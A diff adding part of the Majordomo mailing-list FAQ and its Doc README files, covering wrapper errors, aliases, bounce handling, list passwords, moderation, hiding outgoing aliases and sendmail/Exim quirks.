+2.4 - I get "Unknown mailer error" when majordomo runs + +First, see Question 4.13 if you are running RedHat 5.2 and are getting +"Unknown mailer error 9". + +If something is wrong with your setup, the wrapper will often exit with +various return codes depending on what the problem is. In order to really +understand what is going on, look at the session transcript further down in +the bounce message to see the error which is returned from the wrapper or +from Majordomo. You should usually see some sort of error message. If you +just get a return code, check the Majordomo README for further explanation +on sendmail return codes. If you get "Unknown mailer error XX" where XX is +less than 255, look for the error in /usr/include/errno.h . Otherwise, see +the README. + +See section 1.1 above for what versions of Perl won't work with Majordomo. + +[reported by Russell Street] +You may also get problems when messages to majordomo are queued (for example +if you change sendmail's behavior to always queue messages rather than +perform immediate delivery). The problem was that if sendmail queues a +message it smashes the case in command lines and addresses when the queue +gets processed. This is in spite of the lines shown by mailq. This is +sendmail 5.x on Solaris 2.3, but it might apply to other versions of +sendmail. + +2.5 - I get an error "insecure usage" from the wrapper + +The argument to "wrapper" should be simply be the command, not the full path +to the command. "wrapper" has where to look compiled in to it (the "W_HOME" +setting in the Makefile) and for security reasons will not let you specify +another directory. + +Your alias should say for example: + +majordomo: |"/path/to/majordomo/wrapper majordomo" + +2.6 - I get "majordomo: No such file or directory" from the wrapper + +Make sure that the #! statement at the beginning of all the Majordomo Perl +executables contain the correct path to the perl program (the default is +/usr/local/bin/perl). Note many UNIXes have a 32 character limit on that +path -- make sure it doesn't exceed this limit. Make sure also that +majordomo and all the related scripts are in the W_HOME directory as defined +in the Makefile when you compiled the wrapper. + +2.7 - I get an error "Can't locate majordomo.pl" + +[from Brent Chapman] +Majordomo adds "$homedir" from the majordomo.cf file to the @INC array +before it goes looking for "majordomo.pl". Since it's not finding it, I'd +guess you have one of two problems: + +1) $homedir is set improperly (or not set at all; there is no default) in +your majordomo.cf file. + +2) majordomo.pl is not in $homedir, or is not readable. + +[from John P. Rouillard] +3) Note that the new majordomo.cf file checks to see if the environment +variable $HOME is set first, and uses that for $homedir. Since the wrapper +always sets HOME to the correct directory, you get a nice default, unless +you are running a previously built wrapper, in which case you may get the +wrong directory. + +[from Andreas Fenner] +4) I had the same problem when I installed majordomo (1.62). My Problem was +a missing ";" in the majordomo.cf file - just in the line before setting +homedir .... My hint for you: Check your perl-files carefully. + +2.8 - I told my majordomo.cf where to archive the list, why isn't it +working? + +[From John Rouillard] +The archive variables in majordomo.cf aren't used to archive anything. You +have to use a separate archive program, or a sendmail alias to do the +archiving. The info is used to generate a directory where the archive files +are being placed by some other mechanism. + +You are telling majordomo to look in the directory: +/usr/local/mail/majordomo/archive/listname + +for files that it should allow to be retrieved using the get command. + +Majordomo comes with three different archive programs that run under wrapper +that do various types of archiving. Look in the contrib directory. + +2.9 - config-test can't seem to find ctime.pl or resend can't find +getopts.pl + +ctime.pl and getopts.pl are included in the standard Perl distribution. If +it can't find it, it means Perl was not installed correctly. Re-install +Perl. (you may want to take the opportunity to upgrade Perl, too) + +2.10 - A list is visible via lists, but can't subscribe or 'get' files + +[From Brent Chapman] +I'll bet your list name has capital letters in it... Majordomo smashes all +list names to all-lower-case before attempting to use the list name as part +of a filename. So, while it's OK to advertise (for instance) +"Majordomo-Users" and have the headers say "Majordomo-Users", the file names +and archive directory names themselves all need to be in lower case. If you +want to use mixed case, simply configure the list using the lower-case names +everywhere, except put the mixed-case version in the "-l" and "-h" flags to +resend. + +2.11 - I get "sh: wrapper not available for sendmail programs" + +You're on a system which uses smrsh. (sendmail restricted shell). You have +to configure smrsh to allow it to execute the wrapper. Normally this is done +by creating a symlink in /var/adm/sm.bin (in some it's /etc/smrsh) to +Majordomo's wrapper program. + +2.12 - I get "aliasing/forwarding loop broken" + +[ Reported by Wade Williams ] +Some people have noted sendmail will generate a bounce message if you send +to a list, but the list file is empty (there are no subscribers). Add a +subscriber to the list and the error should go away. + +You will also get this error if the permissions on the list file for that +list in the lists directory are too strict. If the list directory or list +file is not readable by sendmail, you will also get the error "Cannot open +/path/to/lists/listname: Permission denied". See Section 2.1 above for the +full discussion of how to correctly set permissions on directories and files +within Majordomo. + + ------------------------------------------------------------------------ + +Section 3: Setting up mailing lists and aliases + +3.1 - How do I direct bounces to the right address? + +You should use 'resend' to filter all messages. Make sure the "sender" +variable in the list config file points to "owner-listname" and that you +have defined the "owner-listname" alias to point to the owner of the list. + +What this does is force outgoing mail to have the out-of-band envelope FROM +be "owner-listname", and thus all bounces will be redirected to that +address. (This address is what gets copied into the message body as the +"From " or "Return-Path:" header). 'resend' also inserts a "Sender:" line +with the same address to help people identify where it came from, but that +header is not used in the bounce process. + +If you are using sendmail v8.x, you don't have to use 'resend' to do the +same thing. You simply have to define an alias like this: + +owner-sample: joe, + +Note the trailing comma is necessary to prevent sendmail from resolving the +alias first before putting it in the header. Without the comma, it will put +"joe" in the envelope from instead of "owner-sample". Either address will +work, of course, but the generic address is preferred should the owner ever +change. + +However if you choose not to use 'resend', you will have to do without most +of majordomo's other features like moderating, administrivia checks, and +others. + +3.2 - Semi-automated handling of bounced mail + +This is not true automation of bounced mail. What this does is the next best +thing. You unsubscribe the user from the list, but add the user to a special +'bounces' list (there's a perl script in the distribution called bounce you +run to make this easier) The majordomo maintainer then runs (out of cron) +the 'bounce-remind' script periodically, which sends mail to all the people +on the bounces list, saying essentially "you were removed from list 'foo' +because mail to you bounced. To subscribe yourself back to the list, send +the following commands ...". There's no facility yet for trimming the +bounces list, but it's easy to write one because the date the person was +added to the bounces list is included (so you could write a perl script +which removes anyone on the list for more than one week, assuming you run +bounce-remind more than once a week). There's no facility for automatically +detecting what addresses are failing. You have to determine that based on +the bounce messages you receive from other sites. + +[From John Rouillard] +Just create a mailing list called "bounces". I usually set mine up as an +auto list just to make life easier. + +All that "bounce" script does is create an email message to majordomo that +says: + + approve [passwd] unsubscribe [listname] [address] + approve [passwd] subscribe bounces [address] + +The [address] and [listname], are given on the command line to bounce. The +address of the majordomo, and the passwords are retrieved from the +.majordomo file in your home directory. + +A sample .majordomo file might look like (shamelessly stolen from the +comments at the top of the bounce script): + + this-list passwd1 Majordomo@This.COM + other-list passwd2 Majordomo@Other.COM + bounces passwd3 Majordomo@This.COM + bounces passwd4 Majordomo@Other.COM + +A command of "bounce this-list user@fubar.com" will mail the following +message to Majordomo@This.COM: + + approve passwd1 unsubscribe this-list user@fubar.com + approve passwd3 subscribe bounces user@fubar.com (930401 this-list) + +while a command of "bounce other-list user@fubar.com" will mail the +following message to Majordomo@Other.COM: + + approve passwd2 unsubscribe other-list user@fubar.com + approve passwd4 subscribe bounces user@fubar.com (930401 this-list) + +Note that the date and the list the user was bounced from are included as a +comment in the address used for the "subscribe bounces" command. + +3.3 - What's this Owner-List and List-Owner stuff? Why both? + +[From David Barr] +The "standard" is spelled out in RFC 1211 - "Problems with the Maintenance +of Large Mailing Lists". + +It's here where the "owner-listname" and "listname-request" concepts got +their start. (well it was before this, but this is where it was first +spelled out) + +Personally, I don't use "listname-owner" anywhere. You don't really have to +put both, since the "owner" alias is usually only for bounces, which you add +automatically anyway with resend's "-f" flag, or having Sendmail v8.x's +"owner-listname" alias. + +(while I'm on the subject) The "-approval" is a Majordomo-ism, and is only +necessary if you want bounces and approval notices to go to different +mailboxes. (though you'll have to edit some code in majordomo and +request-answer if you want to get rid of the -approval alias, since it's +currently hardwired in) + +So, to answer your question, I'd say "no". You don't have to have both. You +should just have "owner-list". + +3.4 - How should I configure resend for Reply-To headers? + +Whether you should have a "Reply-To:" or not depends on the charter of your +list and the nature of its users. If the list is a discussion list and you +generally want replies to go back to the list, you can include one. Some +people don't like being told what to do, and prefer to be able to choose +whether to send a private reply or a reply to the list just by using the +right function on their mail agent. Take note that if you do use a +"Reply-To:", then some mail agents make it much harder for a person on the +list to send a private reply. The most important reason why Reply-To: to the +list is bad is that it can cause mail loops if any of the members of your +list are running fairly-common but broken software which doesn't know what +an envelope address is. (Many Microsoft products, as well as many other +PC-based non-SMTP/Internet mail systems which work through an SMTP gateway.) + +You should read the following FAQ on why you shouldn't set the Reply-To: +field. http://www.unicom.com/pw/reply-to-harmful.html + +If you are using resend, use the 'reply_to' configuration variable in the +list .config file. + +3.5 - How can I hide lists so they can't be viewed by 'lists'? + +That is what advertise and noadvertise are for. These two variables take +regular expressions that are matched against the from address of the sender. +A list display follows the rules: + + 1. If the from address is on the list, it is shown. + 2. If the from address matches a regexp in noadvertise (e.g. /.*/) the + list is not shown. + 3. If the advertise list is empty, the list is shown unless 2 applies. + 4. If the advertise list is non-empty, the from address must match an + address in advertise. Otherwise the list is not shown. Rule 2 applies, + so you could allow all hosts in umb.edu except hosts in cs.umb.edu. + +3.6 - How can I restrict a list such that only subscribers can send mail to +the list? + +See the restrict_post variable in the config file. Just set it to the +filename that holds the list of subscribers, which is just simply the name +of the list. ("restrict-post = listname"). However, there is an issue to +keep in mind. Majordomo works by filtering the messages coming in through +the "listname" alias, doing its dirty work, then passing the resulting +message out to another alias you define like "listname-outgoing". If you +trust people to not send mail directly to the "listname-outgoing" alias, +then you'll be fine. If however you're not trusting, there are several steps +to make sure people don't bypass the restrictions of the list. + +There are several methods. First you need to change your "listname-outgoing" +alias such that it is not obvious. (That means don't use something easy to +guess like "-outgoing" or "-list"). Next, you need to make it such that +people can't find out what your -outgoing alias is. + +You can use the "@filename" directive of resend. Put the all the normal +command-line options of resend into a file readable only by the majordomo +user/group. Then the alias for the list simply becomes ".../resend +@/path/to/filename". This will make it such that you can't find out the +-outgoing address by connecting to your mailer and doing an EXPN or VRFY. +The "@filename" directive seems to have fallen into undocumentation for some +reason. This should be fixed in future releases. This doesn't prevent a user +reading the local /etc/aliases file (if they can), however. + +Another approach is to simply disable EXPN or VRFY altogether. See the +documentation for your mailer on how to do this. In sendmail this is done by +adding "noexpn" to the "O PrivacyOptions=" line in your sendmail.cf +(multiple options are separated with a comma). However this doesn't prevent +a local user reading the aliases file. This isn't generally a problem if +your mail server is restricted to staff only users. + +Unfortunately, Sendmail 8.x will log your -outgoing alias in the "Received:" +lines. To prevent this you need to specify more than one address for the +list name argument to resend. (for example +"mylist:|"/usr/local/lib/majordomo/wrapper resend -h foo.org -l mylist +mylist-seekrit,nobody"" where nobody is an alias for /dev/null) For Sendmail +8.x you must not define an alias 'owner-mylist-seekrit' to be something like +'owner-mylist,' (with the comma). Otherwise sendmail will set the envelope +address of outgoing mail to contain your secret outgoing alias. Again if +you're using the @filename directive, the entire command line is simply put +into the specified file (starting with "-h foo.org ...". + +Here's another creative idea from matt@primefactor.com (Matt Perry): + +I've had a report that this no longer works with sendmail 8.9.1 + +Sendmail allows you to rewrite incoming and outgoing addresses. The one that +handles incoming is virtualusertable.text. For a list called test with the +test-outgoing alias, I put the following into my virtualusertable.text file +and remade the db with the appropriate command: + +test-outgoing@mydomain.com error:nouser User unknown + +Sendmail can still get to the alias and expand it into the list of +recipients. However, any mail that appears at port 25 marked for +test-outgoing@mydomain.com will bounce back with "User unknown". + +Finally it should be noted that it is impossible with any of these methods +above to prevent people from forging mail as someone who is subscribed to +the list, and sending to the list that way. Of course a spammer can also +subscribe to the list legitimately and then send spam. The restrict_post +option blocks the vast majority of problems, however. + +3.7 - Can I have the list owner or approval person be changeable without +intervention from the Majordomo owner? + +Sure! Just make owner-listname and/or listname-approval be another majordomo +list. (probably hidden, for simplicity's sake) + +3.8 - What are all these different passwords? + +Think of three separate passwords: + + 1. A master password that can be used by both resend and majordomo + contained in [listname].passwd. To be used by the master list manager + when using writeconfig commands etc. This allows someone who handles a + number of mailing lists all using the same password. This is also a + "backup password" in case the .config file gets corrupted. + 2. A password for the manager of this one list. The admin_passwd can be + used by subsidiary majordomo list maintainers. + 3. A password for those concerned with the list content (approve_passwd) + +This way the administration and moderation functions can be split. The +original reason for maintaining [listname].passwd was to allow a new config +file to be put in if the config file was trashed and the admin_password was +obliterated, and may still be useful to allow a single password to be used +for admin functions by the majordomo admin or some other "superadmin". + +Note that the admin passwd in the config file is not a file name, but the +password itself. This is the only way that the list-maintainer could change +the password since they wouldn't have access to the file. + +3.9 - How do I tell majordomo to handle "get"-ing of binary files? + +Majordomo is not designed to be a general-purpose file-by-mail system. If +you want to do anything more than trivial "get"-ing of text files (archives, +etc) than you should get and install ftpmail. Majordomo has hooks to allow +transparent access to files via ftpmail (see majordomo.cf). See the +beginning of this FAQ for where to get ftpmail. + +3.10 - How do I set up a moderated list? How do I approve messages? + +First, you need to tell Majordomo that the list is moderated. In the +configuration file for the list, you set "moderate = yes". Do not try to use +the now-deprecated "-A" option to resend. In fact you shouldn't be using ANY +options to resend except "-h" and "-l", since all the others are handled in +the config file. + +Any mail which is not "approved", gets bounced with "Approval required". If +the moderator wishes to approve the message for the list, then you need to +tag the message as "approved" and send it to the list. The "approve" script, +which comes with Majordomo, automates this for you. Whenever you get a +message which needs approval, from your mail reader pipe the message through +"approve". The password for each list needs to be put in your .majordomo +file. Read the "approve" script for more information. + +If you don't have access to "approve" (e.g. you're not on a UNIX system with +Perl), you have to do it by hand. The easiest way is to forward the original +message to the list, add the line "Approved: approval-password" to the very +first line of the body, and then the entire contents of the original +message. (meaning there should not be a blank line before and after the +"Approved:" line.). Don't forget to edit out the headers which were added by +the bounce process. + +For example: + +To: your-list@example.com +Subject: doesn't matter + +Approved: your-approval-password +Received: by some.site.org.... +Received: by another.site.org.... +From: joe@another.com (Joe User) +Subject: this list is great! +To: your-list@example.com + +Hey, this list is great, and the moderator sure is sexy! + +Joe + +It's also possible, if your mailer allows it, to approve a message another +way by just inserting an Approved: header in the original body and passing +the original message on without adding your own header. This is in a sense +"forging" mail, so many mailers either won't allow it or will insert some +sort of authentication warning. This form is used most often by moderators +when they send mail to the list and don't want to go and approve their own +message again. Here's an example: + +To: your-list@example.com +Approved: your-approval-password +Subject: Thanks! + +I like this list too, but sorry, I'm married! :-) + +-- your moderator + +Note that this requires a mail-user-agent (MUA) that allows one to add +headers to a message. If your MUA doesn't let you do this, you'll need to +use the first method. + +Note that in either case the "Approved:" line will be stripped out by +Majordomo before it gets sent to the list, so the list members won't see +your list password. + +3.11 - How do I set up a digested version of a list? + +[ Modified from explanation given by jmb@kryten.atinc.com (Jonathan M. +Bresler)] + + * Create aliases for the mailing list and the digest. See section 2.2 of + the README for an example. + * create an alias for the majordom(o) user, so that his cron generated + mail comes to me, rather than just piling up in + /usr/local/mail/majordom. + * create the list's and the digest's files, (widget, widget-digest, + widget.config, widget-digest.config, etc.). Edit the + widget-digest.config file and make sure all the digest options are set + to your tastes. + * create the digest directory and archive directory. See FAQ section 2 on + how to set permissions on all majordomo files and directories. You must + have archives if you have digests so the digester can make the digest. + You can purge the archive after the digest is generated. + * Add yourself to both the mailing list and its digest so you can monitor + what happens...at least for a while (not a bad idea to create a dummy + user, and subscribe him to both the mailing list and its digest. This + preserves a record of messages for debugging. Don't forget to remove + this account and unsubscribe it after debugging.) + * Optionally you may use cron to send a mkdigest to push out a digest at + set intervals regardless of the number of queued messages. See the + question Why aren't my digests going out?". + +3.12 - How do I setup virtual majordomo domains? + +[From Alan Millar, et. al.] +Set up a majordomo.cf file for each virtual domain, defining $whereami as +appropriate. Use your mailer's virtual domain stuff to get to it, making an +alias for it if necessary. + +For sendmail, be sure to check out +http://www.sendmail.org/virtual-hosting.html first. + +Alias entry: + + majordomo-domain2: |"/your/wrapper majordomo -C /your/domain2.cf" + +Virtual domain stuff (in your virtusertable): + + majordomo@domain2 majordomo-domain2 + majordomo-owner@domain2 whoever + +I use the sendmail virtual domain examples right off the Sendmail FAQ. Works +for me. + +You'll need to modify request-answer slightly if you want the virtual host +to be used there in replies. Look for: + +From: $list-request + +in the source and change it to: + +From: $list-request\@$whereami + +Don't forget to use the -C option to request-answer for your virtual +aliases. + +Check out http://o2.towery.com/~ernestm/admin/majordomo/majorvirt.html also +for good instructions on configuring virtual domains with Majordomo. + +3.13 - How can I stop people from using my mailing list to spam my +subscribers? + +[From mcr@solidum.com (Michael Richardson) ] +There are two approaches to solving spam. They are complementary. + +The most general solution is to make sure that your list host will not +accept spam. See http://spam.abuse.net/ for extensive recipes on this. + +The majordomo specific way is to use the "restrict_post" mechanism to +disallow posts from addresses that are not on the list. Please see section +3.6 for some of the pitfalls of using restrict_post. They all apply. My +experience is that spammers have not yet learnt about the "-outgoing" alias, +and the techniques in section 3.6 would apply when they do. + +The major objection to using restrict_post to deflect spam is that it may +deflect posts from legitimate people -- people who've subscribed with one +address but are posting from another address. It may also restrict +cross-posts from other lists, or from people who read the list via news. + +The solution to the above objections is twofold: + + 1. the moderator must forward legitimate posts. This can be a pain, but it + does work. + 2. the restrict_post header can be extended. + +The typical way to do #2 is to set restrict_post to: + +mylist:mylist-nomail + +Then, create a configuration file and password for "mylist-nomail", but DO +NOT create any aliases. (If you use something like mj_build_aliases, then +don't set the owner) + +The moderator, or subscribers may then subscribe themselves to this second +list. Subscribers to the -nomail list will then be allowed to post to the +first list, but won't receive duplicate copies of the first list. + + ------------------------------------------------------------------------ + +Section 4: Mailer and list administration problems + +4.1 - Address with blanks are being treated separately + +If a subscriber to the list is +John Doe < jdoe@node.com> + +it gets treated these as the three addresses: +John +Doe +< jdoe@node.com> + +[From Alan Millar] +Majordomo does not treat these as three addresses. Apparently your mailer +does. + +Remember that all Majordomo does is add and remove addresses from a list. +Majordomo does not interpret the contents of the list for message +distribution; the system mailer (such as sendmail) does. + +I'm using SMail3 instead of sendmail, and it has an alternative (read +"stupid") view of how mixed angle-bracketed and non-angle-bracketed +addresses should be interpreted. I found that putting a comma at the end of +each line was effective to fix the problem, and I got to keep my comments. +So I patched Majordomo to add the comma at the end of each address it writes +to the list file. + +You can also change to "strip = yes" in the config file so that none of the +addresses are angle-bracketed. + +4.2 - Why aren't my digests going out? + +[from John Rouillard] + + echo mkdigest [digest-name] [digest-password] | mail majordomo@... + +This will force a digest to be created. Or you can set the max size in the +digest list config file down low, and force automatic generation. + +4.3 - Why do I get duplicate mail sent to the list? + +If you're running MMDF, read on: [From Gunther Anderson] +Well, I can tell you what happened to me recently. We use MMDF here, which +certainly colors the picture a little. What was happening here was that MMDF +was verifying the validity of the whole mailing list before returning from +the Submit call. The thing calling the Submit would time out and close, but +the Submit itself would still be running somewhere. The calling routine +would believe that the message had failed in its delivery, but the Submit +would eventually succeed. The calling process would try again some time +later. This, of course, is bad. The larger the list got, the more addresses +there were to verify (verification was really just a DNS search on the +target machine name), the more likely, under load, that the message would +duplicate. We finally got so large, with so many international addresses +(which seem to timeout on DNS queries much more often than US addresses) +that we were always duplicating. Infinitely (until I killed the original +submitter). + +The solution for us was MMDF-specific. We used a different channel for +submission and delivery, one which deliberately doesn't verify the addresses +before accepting a job. We used the list-processor channel, and only had to +check that the listname-request name was set properly, because +list-processor insists on making listname-request the envelope "From " +header name. + +If you're running Sendmail, this is more rare. There have been unconfirmed +reports that on some systems having the queue process interval set too short +can cause problems, even though sendmail is supposed to handle this. +Workarounds are to increase your queue process interval (-q flag), or +decrease the interval between queue checkpoints (OC flag in sendmail.cf). + +There have been many reports from Linux users complaining about duplicate +mail. The problem seems to be that flock() under Linux is broken. This may +be fixed in a future release, but for now in sendmail's conf.h in the #ifdef +__linux__ section add a line #define HASFLOCK 0. There are also reports that +some versions of the libc have problems, and that linking with the +libresolv.a from a recent BIND version will work around the problem. +[ Please let me know if you have any more information --ed ] + +4.4 - How do I gate my list to and/or from a newsgroup? + +The easiest method is to use a program called newsgate. You can find it at +ftp://ftp.isc.org/isc/inn/contrib/. Installation instructions are +straightforward, it provides sample entries for your newsfeeds/sys file and +aliases entries. The newsgate package includes news2mail and mail2news. + +4.5 - How can I improve Majordomo's performance? + +Mail to list throughput + +Majordomo does very little except pass each message to the list through +'resend', and then pass it on to your mailer for distribution. Improving +your mailer is the first step towards improving speed of delivery of mail to +the list. Upgrading your sendmail to version 8.x will improve things +greatly, as this version has a lot of enhancements which use connections +more efficiently. For most lists, this is enough. Majordomo itself doesn't +use very much in the way of resources except perhaps memory. Adding more +memory will help if your machine does a lot of paging during mail delivery. + +Using other mailers instead of sendmail has met with varying success. Exim +can also be used (see http://www.exim.org/). qmail has been used with +majordomo, and performance with either Exim or qmail I'm told generally will +well exceed that of sendmail. At least qmail also is written in a far more +secure way than sendmail (some would say paranoid). See +http://www.qmail.org. The qmail site includes at least one way to get +majordomo to work with qmail. Note that it is possible to get majordomo +working under qmail without using the 'wrapper', which is a nice idea. Some +majordomo-under-qmail solutions just involve qmail's sendmail emulation +feature. For more info, see the Using Majordomo with qmail FAQ, written by +Russ Allbery. + +If you are using Exim instead of sendmail there are more things you can do. +Instead of concealing the -outgoing addresses, it is possible to configure +Exim so that those addresses are only usable by the local majordomo user. A +description of how to do that can be found at +http://www.netmaster.ca/exim/majordomo.html as well as other information +about configuring majordomo with Exim. + +If your lists are very large you may try installing bulk_mailer, by Keith +Moore. It pre-sorts the list into chunks grouped by site, and passes the +resulting chunks off to individual sendmail processes for delivery (see note +next paragraph). Get it from ftp://cs.utk.edu/pub/moore/bulk_mailer/. It +installs simply by replacing your usual -outgoing alias with (line wrapped +for clarity): + +sample-outgoing: |"/path/to/bulk_mailer owner-sample@your.site + /path/to/lists/sample" + +bulk_mailer has reportedly resulted in dramatic speedups in delivery times, +on the order of several times faster. Note this works just as well on +digested lists as well as normal lists. bulk_mailer did have one problem. +Until version 1.3 it didn't understand parenthesized comments in addresses, +resulting in incorrect sorting and reduced performance. Your list must be +configured with strip=yes in the list configuration file if you don't +upgrade to 1.3 or higher. + +TLB is another package which is like bulk_mailer, but has other features. +You can get it from ftp://ftp.hpc.uh.edu/pub/tlb/. The advantage of TLB is +its greater configuration flexibility, and also the fact that it's possible +with TLB to eliminate the -outgoing address, making configuration easier and +lists more secure. + +The restrict_post list option with large lists can cause a significant +slowdown in mail delivery, since resend has to do a sequential search +through the subscription list for each mail sent to the list (to verify that +the sender is subscribed to the list). Think twice about using this option +with very large lists. + +Majordomo command processing + +Most of the improvements in this are experimental and not widely available +or not yet completed but scheduled for future releases. Some areas include: +improvements in shlock.pl to use exponential backoffs to reduce contention +and starvation of locks, using some sort of dbz-style database for +subscription lists to speed up subscribe and unsubscribe commands, and +changes in the configuration file system to allow faster parsing and faster +execution of certain commands such as "lists". If you are interested in +working on improvements in this area, join the majordomo-workers list +mentioned above. If you make any specific patches or additions available, +please let me know so I can add references to it here. + +4.6 - How can I handle X.400 addresses? + +Majordomo by default treats addresses starting with "/" as "hostile", and +won't let people subscribe. This is to prevent someone from subscribing a +majordomo-owned filename to the list, and being able to write by sending +mail to the list. Unfortunately, all X.400 addresses begin with a "/". See +the $no_x400at and $no_true_x400 variables and the associated comments in +the majordomo.cf. There is a reported bug in 1.94 - you may need to change +both tests for these variables in majordomo.pl to put "main'" before them. +Like this: + + if (!$main'no_x400at) { + + if (!$main'no_true_x400) { + +This is fixed in Majordomo 1.94.1 and higher. + +4.7 - Why is the Subject of my messages missing? + +[from Dave Wolfe] +But it's not. Oh, you probably mean "Why is the subject line of messages to +my moderated list blank?" Because you didn't include any headers after the +Approved: header in the body of the messages. Or you deleted them when you +approved the bounced messages. + +When resend finds an Approved: header in the first line of the body, it +throws away all the headers it's collected for the message and looks for +more headers following the Approved: header (which is the format of a +bounced message). So if you put the Approved: header in an original message +(as opposed to a bounced message), you have to also fill in some headers to +be sent out, such as Subject:, To:, and From:. + +See section Question 3.10 on how to approve messages to moderated lists. + +This is also explained in Doc/list-owner-info, which should be sent to all +list owners and moderators. + +4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? How do I +stop this? + +Whenever majordomo encounters mail to the list which it sees a problem with, +it forwards it to person at the approval address to deal with manually. +There are lots of reasons Majordomo does this. Majordomo will tell you why +in the Subject of the message. Here's a list of the most common bounce +reasons: + +An "Admin request" bounce means that the list is configured to filter out +what it thinks are "administrivia" messages, and it thought that message was +one. These are messages such as "subscribe" or "unsubscribe" or "help", +which get sent to the list instead of majordomo. Lists generally have this +turned on by default. If you don't like it, set "administrivia=no" in the +list config file. If that doesn't work, check your aliases to make sure the +"-s" option to resend isn't being used on that list. + +An "Approval required" bounce means that the list is moderated, and the +message needs to be approved. (see section 3.10 of this FAQ) + +A "Message too long" bounce means that the message was longer than the +"maxlength" setting in the list config file. + +If you get any of these bounces messages and you think the mail is OK to +send to the list, you'll need to approve it. See the file +Doc/list-owner-info on the correct procedure(s) for approving mail with +Majordomo. It's also covered in section 3.10 of this FAQ. + +4.9 - My list configuration doesn't seem to be working. + +If you changed your list configuration and the list doesn't seem to be +behaving any differently, make sure that the list is being sent through +"resend". See the installation documentation and section 3.1 of this FAQ on +how to set up the aliases for the list correctly to pipe mail through +"resend". + +Other things to check would be that the arguments to "resend" are only "-h", +and "-l" (and perhaps "-C" if you use virtual domains). resend used to be +configured with other command line flags to do things such as have moderated +lists. However these flags override any config file settings, so remove them +if they are present. All configuration should be done now through the config +file. + +4.10 - How do I set it up so that the originator of a message doesn't get a +copy of his/her own message back? + +You can't. Sorry. The "metoo" setting in sendmail has no effect after a +message is piped through an external program. Unless you're willing to give +up piping messages through "resend", there's no way to stop this. + +4.11 - With Smail or Exim, users subscribing to a list sometimes get mail +sent before they subscribed + +[from Lazlo Nibble and Philip Hazel] +This is due to the way Smail and Exim deliver mail. With sendmail, it +expands its delivery list when the mail first arrives. If the list gets +changed, the message will still get delivered to the original recipient +list, since the original list is never referred to again. As sendmail +delivers mail, it removes addresses from its expanded list as they get +delivered. + +However Smail and Exim don't expand the list when the message is first +queued. Instead as they go through the queue of pending messages to deliver, +and maintain state on what addresses they have successfully delivered mail +to and compare that with the current list contents. As long as the message +is queued waiting for one or more addresses in the list, it will get sent to +any new recipients whenever the queue gets processed next. This is rather +unexpected for those used to sendmail's behavior. + +The advantage of smail and exim's approach is that if an address in your +list is unreachable (or has a bad .forward file), you can change the list +contents (or the .forward file) and the message will be delivered to the new +address when the queue next gets processed. It won't deliver to the old, bad +address. + +There really isn't an easy solution to this, but it's really not a serious +problem. + +4.12 - Majordomo doesn't seem to work with sendmail 8.9 + +The new security features of sendmail don't allow :include: directories to +be group writable. Unfortunately, by default these directories are group +writable with Majordomo. If you have this problem you will see errors from +sendmail like "Cannot open /path/name: Group writable directory" and +"aliasing/forwarding loop broken". + +One solution is to add: + +O DontBlameSendmail=groupwritabledirpathsafe + +in your sendmail.cf and restart sendmail. + +The other method (and generally the recommended one) is to remove the +group-write bit on the lists directory and any list files. Make sure also +any parent directories to not have the group or other write bit set. If +Majordomo is working correctly having group write permission is not +necessary. However, some people find it convenient to have group-write +access so users can be put in the majordomo group and not need root access +all the time to work on majordomo. + +4.13 - I can't get Majordomo to work with RedHat Linux + +If you are trying to use the Majordomo RPM, it is broken. The majordomo.cf +which comes with the RPM has the line + +$whereami = `hostname`; + +This is broken for two reasons. First, the hostname may not necessarily be a +fully-qualified domain name, and thus this won't generate a valid Internet +email address. Secondly, using `hostname` generates a linefeed character at +the end, which totally screws things up, and you end up getting blank lines +in headers (and you'll start to see headers appear in the body of the +message). + +The solution is to edit the line and put in your correct host name or mail +domain. + +A bug report has been filed with RedHat. + +RedHat 5.2 also ships with an interim (buggy) release of Perl, which does +not work with Majordomo. (you will get "Unknown mailer error 9" errors). +Download and install the updated Perl RPM from ftp://updates.redhat.com/. diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/README b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/README new file mode 100644 index 0000000..3308474 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/README @@ -0,0 +1,40 @@ +FAQ + The Majordomo FAQ, originally written by Vincent + D. Skahan, now maintained by barr@math.psu.edu (David Barr). + +majordomo-faq.html + An html version of the FAQ. + +majordomo.lisa6.ps + The original Majordomo paper from the USENIX LISA VI conference + in October, 1992. While this paper is somewhat out of date + (some of the details about how Majordomo works have changed, + and many of the items mentioned as "to be implemented later" + have since been implemented), it remains a valuable + introduction to Majordomo's basic form and structure. + +list-owner-info + has information for list owner to get them started using + majordomo and the config files. + + +majordomo.ora + This file is the chapter about Majordomo from the Nutshell Handbook + "Managing Internet Information Services," written by Jerry Peek. + The chapter is (c) Copyright 1994 by O'Reilly & Associates, Inc., + and was included in the Majordomo distribution by permission of the + publisher. + + This chapter is a good introduction to setting up the + majordomo software, be warned that it does not cover much of + the list operation details under 1.90 that deal with config + files. Then again the config files are supposed to be self + documenting. A newer version of this chapter that has been + updated for 1.90 is in the works, and should make it into the + "Managing Internet Information Services" book. This newer + chapter should be available via ftp in due time. Stay tuned to + the majordomo-announce or majordomo-users mailing list for + details. + +man + Some man pages for majordomo and approve. diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/README.digest b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/README.digest new file mode 100644 index 0000000..0cfbeb0 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/README.digest @@ -0,0 +1,110 @@ +This digestifier follows RFC 934, so it should be compatible with +almost any digest-digester that comes along. + +This creates a properly formatted digest and mails it. It automatically +increments the issue number, but not the volume number. + +The digest script has two modes: receiving messages and creating a +digest. It receives email messages via stdin and places them in +a work directory. In digest-creation mode, it takes those messages +from the work directory, assembles them into a digest in an archive +directory, and mails the digest. + +If there are no messages in the work directory, it exits saying, +"No messages to process." + +One of the digest's required configuration values is the size limit +in characters. If you use digest's -r option to receive digests, a +digest will automatically be sent whenever this limit is passed. + +There are also two optional parameters that can cause digests to +be created and sent: the digest length limit in lines, and the +age in days of the oldest undigested message. + +These values are checked every time a message is received (if +you are using the -r option). + + +There are two ways of setting up a digest: as a majordomo list, +or as a standalone. All of the files in this directory (excepting +the digest script) are for the standalone configuration. They are +IGNORED by majordomo. + +If you are setting up a majordomo digest list, ALL your configuration +values come from majordomo.cf and the digest list's config file 